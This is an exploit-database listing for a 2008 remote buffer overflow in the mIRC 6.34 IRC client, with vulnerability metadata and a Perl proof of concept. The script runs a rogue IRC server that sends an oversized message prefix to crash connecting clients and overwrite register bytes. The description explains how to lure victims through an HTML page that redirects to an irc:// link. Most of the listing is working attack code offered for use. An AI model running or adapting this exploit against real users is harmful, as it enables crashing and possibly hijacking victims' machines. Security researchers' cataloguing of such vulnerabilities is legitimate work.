Mirc 6.34 Remote Buffer Overflow

vendor:

Mirc

by:

milw0rm.com

N/A

CVSS

HIGH

Remote Buffer Overflow

Buffer Overflow

CWE

Product Name: Mirc

Affected Version From: 6.34

Affected Version To: 6.34

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2008

Mirc 6.34 Remote Buffer Overflow

This poc allows an attacker to own the first two bytes of the EDI and EDX registers. To become remote, the attacker can add a simple document.location.href=irc://server.com/... in some HTML page.

Mitigation:

Unknown

Source

Exploit-DB raw data:

##################################################################################################
# Mirc 6.34 Remote Buffer Overflow
# 
# This poc allow you to own the 2 first EDI & EDX bytes.
# 
# To become remote, add a simple document.location.href=irc://server.com/... in some html page
#
use IO::Socket;

sub sock()
{
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 6667,
                               
Proto     => 'tcp');  die unless $sock;

print " [+]IRC Server started on port 6667 \r\n";

$s=$sock->accept();  
$a = "A" x 313;
$twobytes = "\x43\x43";

print " [+]Sending pickles\r\n";
  
print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow\r\n"; 
sleep(1);
print $s ":".$a.$twobytes." PRIVMSG  yow : /FINGER yow.\r\n";
}
while(1)
{
sock();
print " [+]Mirc should be down now, another little friend comming ?\r\n [+]Server Restarting\r\n";
}

# milw0rm.com [2008-10-02]